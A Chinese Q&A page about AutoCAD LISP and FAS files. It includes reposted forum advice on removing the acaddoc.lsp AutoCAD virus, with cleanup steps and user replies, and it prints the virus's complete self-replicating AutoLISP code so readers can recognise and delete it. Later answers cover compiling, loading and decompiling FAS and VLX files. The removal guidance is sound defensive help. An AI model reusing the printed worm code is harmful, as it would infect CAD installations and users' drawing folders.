fas文件反编译成lisp软件

⑴ 运行CAD之后会自动生成一个lisp文件

保证你不在局域网 或者u盘不乱拷吧。我也中了 这个，清楚不彻底。一下是我自己收集的。

方法 一

acaddoc.lsp输入的列表有缺陷（转自LOVE空间）2009年04月07日 星期二 上午 11:14这个是个新病毒，用以往的解决方法（1.lps改名为acaddoc.lsp替换）无法解决，在网络搜索了一下看到网络空间有个帖子有相关解决办法。

原帖如下：

今天在Q群里又见网友请求删除CAD病毒，说用专杀工具也无法解决，于是让他把病毒文件传了给我。

打开文件一看，发现这个“acaddoc.lsp”文件内的程序代码跟以往的“acaddoc.lsp”病毒文件不同。

该病毒文件自动搜索CAD支持路径下的所有“*.mnl”文件和“*.lsp”文件。将病毒代码（“acaddoc.lsp”文件内容）写入“*.lsp”文件内，并在“*.mnl”文件中写入“*.lsp”文件的加载路径。同时，直线命令“line”、外部参照管理命令“xref”和分解（炸开）命令“explode”无法使用。

CAD系统感染该病毒文件后，只是简单搜索删除“acaddoc.lsp”文件，不能清除病毒。因为所有的“*.lsp”文件已经被修改，所有“*.lsp”文件都是病毒文件。

解决方法壹：

①、关闭CAD

②、搜索并删除所有“acaddoc.lsp”文件

③、卸载CAD（必须卸载干净，并进入C盘用户目录内删除没有卸载完的CAD文件）后，重新安装CAD

解决方法贰：

①、关闭CAD

②、搜索并删除所有“acaddoc.lsp”文件

③、找一台没有被CAD病毒破坏、且安装有相同版本CAD的电脑，复制其所有“*.lsp”文件和“*.mnl”文件至本机覆盖原文件（包括C盘用户目录内的相关文件）

预防CAD病毒：

装好CAD系统后，在没有被病毒感染前，将CAD目录内所有文件的属性设置为只读，可以减少中毒的机率。（此法99.999%有效）

附：C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\

其中×××是你登录系统时的用户名， 200×和R×.×分别是CAD的版本和版本代号。（注意：目录C:\Documents and Settings\是系统隐藏文件夹）

转帖地址：http://hi..com/liuhuibin1984/blog/item/fbe647233340a543ad34deb3.html

方法 二

CAD开机运行时会有一大串函数，并且产生acaddoc.lsp的文件处理方法，我用了，方法很好就转过来了

以下是本人中了acaddoc.lsp病毒的后亲身体验的杀毒经历。
开始也在网上找了很多所谓的CAD病毒专杀、acaddoc.lsp专杀什么的软件。。。全试了都没有用。后来通过网上介绍的一些关于lsp病毒的特性，亲身试验后确实有效，在此和大家分享，希望能为大家解决一些问题。
下面言归正传，杀毒步骤如下：
1、全盘删除acaddoc.lsp（包括隐藏文件夹）——————废话了，呵呵
2、删除C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acaddoc.lsp和acadapq.lsp
3、删除C:\Documents and Settings\Administrator\Application。Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acad.mnl、acetmain.mnl和AecArchXOE.mnl。
4、删除C:\Program Files\AutoCAD 2006\Support下面所有的*****.lsp,本人用的2006版共10个****.lsp文件。
5、COPY下面附件的alsp内的两个文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support，改为只读。
6、COPY下面附件的mnl内的三个文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support，改为只读。
7、COPY下面附件的LSP内的十个文件到C:\Program Files\AutoCAD 2006\Support，改为只读。

经以上步骤处理后，就完全可以放心使用了。

方法 三

CAD的病毒很多但都大同小异。现就出现的ACADDOC.LSP病毒进行杀毒。不用重新安装CAD的办法。
1、发现文件夹中多出ACADDOC.LSP说明你中毒了。
2、关闭CAD程序。
3、全盘查找 *.fas *.lsp *.mnl *.arx文件，除了CAD安装目录以外的全部删除。
4、检查CAD安装目录文件的修改时间，把最近的几个文件中的病毒代码删除。（用记事本打开）
5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。

说明：
1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support文件夹下的3d.lsp；3darray.lsp；acad2010.lsp；acad2010doc.lsp；acadinfo.lsp；ai_utils.lsp；attredef.lsp；edge.lsp；mvsetup.lsp；sample-profile-util.lsp文件。
2、要删除的病毒代码在文件的尾部，具体如下：

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)

加入360督导委员会 参与全民护安全！ 论坛版主扩编，欢迎您的加入！

canesky
金币：65
经验：99
等级：学前班
功勋：无
短信
[回复此楼][引用][举报] 2 楼 2010-06-11 09:27 顶！

寒梅雪松
金币：15
经验：51
等级：幼儿园
功勋：无
短信
[回复此楼][引用][举报] 3 楼 2010-11-10 03:14 这个方法不管用

aimou108
金币：15
经验：55
等级：幼儿园
功勋：无
短信
[回复此楼][引用][举报] 4 楼 2010-12-07 10:59 已解决！感谢360论坛！同时感谢qq！如果不是qq当年作出一个艰难的决定，我不会用上360.，也就不会知道360论坛。

楼主给我们提供了一个解决方案，但需要注意的是，病毒感染的并不仅仅是安装目录下的文件。如果仅仅清除安装目录下感染文件的代码，是无效的。这也是很多朋友说这个方法不管用的原因。它同时感染了
C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下的*.MNL文件。需要一并将上述代码清除。
这个问题折腾了我几个月，奶奶的。无毒一身轻啊。。。

⑵ 怎么能将Lisp代码编译成EXE文件

为什么要编译成exe文件呢？要让其在所有的windows上都能运行？
【首先】：lisp是脚本语言，所以它是跨平台的，也就是说它不需要被编译成exe文件，就能在所以机器上运行。
【方法】这方法有点笨，但是很好，也适用于想把java转exe苦苦挣扎的人们
方法就是：写一个bat文件
【bat文件的内容】文件名暂定为run.bat
.\clispfolder\clisp programname
PAUSE
【注】
（1）一定要用反斜杠
（2）clispfolder 为你的lisp的解释器的文件夹的名字
（3）clisp 为你的解释器的名字（就是clispfolder中那个exe文件）
（4）programname为你的lisp程序的名字，貌似带不带后缀都可以。
（5）用记事本写完上面两行东东后，将其存为.bat格式
【然后的操作】
随便建一个文件夹，这个文件夹中要放进去三个东东
（1）你的lisp的源代码
（2）你的lisp的完整的解释器，就是讲clispfolder完整的拷贝到这个文件夹即可
（3）刚才写的那个bat文件
【之后】
你就可以带着这个文件夹满世界跑啦，在“所有”的windows中，双击那个bat文件，即可运行你写的lisp啦..................................
【此方法的缺点】
（1）那个clispfolder太大，如果你只是写一个不到1M的lisp的话，那这种方法很臃肿
（2）这种方法貌似不适用于用lisp写windows的@病#毒！
----------------------------------------------------------------
不过这个方法可靠，简单！

⑶ 如何在lisp中加载fas文件

不需要command这个命令，在lisp中command是模拟CAD中的命令行输入，在这里再用command就是多此一举。在lisp中直接加一行(load "djml.fas")就行了

⑷ CAD软件自动生成的*.fas和*.lsp文件怎样消除

同学
在保存的时候你要先选择保存的格式
然后再输入文件名
文件名不要输入他的*.fas..*.lsp 格式里面已经有了
至于打开的错误。
你尝试下把文件放到同事那里看看。 如果能用那就是你电脑问题 先把格式改下。

⑸ 是否有visual lisp 反编译程序

有visual lisp 反编译程序
目前是有这个工具的。

⑹ 我写了十几个lisp程序文件，编译成一个VLX文件后部分命令不能用，但编译时同时生成的FAS文件都正常。

不能用的提示是什么?
常见的
1. 局部变量没有封住，跑出来了，相互干扰。
2. lisp程序的加载次序不读，你看看你工程配置里的lisp文件编译次序，即为加载次序，你写了那么多比如有些公用的部分吧，你是不是这个次序错了。
其他的没了

⑺ 打开CAD文件后自动生成acad(autolisp应用程序源代码)文件

你可以用360卫士里的,CAD专杀工具进行查杀.

⑻ 如何将LISP源程序编译成fas\vlx格式

1、打开Visual LISP编辑器。

2、点文件/生成应用程序/新建应用程序向导。

3、如文件品种单一，则选简单模式，如用几种类型文件，如LISP，DCL等等，则选择专家模式。

4、按程序要求，选择已有的程序文件所在文件夹，并填写想要的编译后的VLX文件名称如123。

5、最在当出现编译应用程序时，默认为打勾项。此时点击完成按钮，就KO了。

6、打开已有的程序文件所在文件夹，把124.VLX文件找出来，就可以加以应用了。

补充：LISP（全名List Processor，即列表处理语言），由约翰·麦卡锡在1960年左右创造的一种基于λ演算的函数式编程语言。

⑼ FAS格式文件用什么程序编辑打开

FAS文件格式是采用 AutoLISP 程序语言创建的脚本文件编译后的文件格式，AutoLISP是由Autodesk公司开发的一种LISP程序语言，LISP是List Processor的缩写。通过autolisp编程，用于在Autodesk中创建通用流程自动执行宏定义，可以用于发布程序，为Autodesk增加新的功能。

⑽ *.vlx和*.fas文件如何反编译

《反编译》的技术太难了，除了组合语言(Assemble)外，想作反compile的努力几乎都是徒劳无功的，如果能反compile那么程式设计师岂不是要喝西北风了？